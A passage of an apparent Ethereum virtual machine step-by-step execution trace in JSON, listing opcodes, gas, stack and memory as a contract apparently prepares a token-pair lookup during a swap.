"0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8500,"op":"PUSH1","gas":117093,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8502,"op":"SHL","gas":117090,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xe6a43905","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8503,"op":"DUP2","gas":117087,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xe6a4390500000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8504,"op":"MSTORE","gas":117084,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xe6a4390500000000000000000000000000000000000000000000000000000000","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8505,"op":"PUSH1","gas":117078,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8507,"op":"PUSH1","gas":117075,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8509,"op":"PUSH1","gas":117072,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8511,"op":"SHL","gas":117069,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8512,"op":"SUB","gas":117066,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8513,"op":"DUP4","gas":117063,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8514,"op":"DUP2","gas":117060,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8515,"op":"AND","gas":117057,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8516,"op":"PUSH1","gas":117054,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8518,"op":"DUP4","gas":117051,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8519,"op":"ADD","gas":117048,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8520,"op":"MSTORE","gas":117045,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":8521,"op":"DUP3","gas":117039,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":8522,"op":"DUP2","gas":117036,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":8523,"op":"AND","gas":117033,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":8524,"op":"PUSH1","gas":117030,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":8526,"op":"DUP4","gas":117027,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":8527,"op":"ADD","gas":117024,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x160","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","956881660000000000000000000000000000000000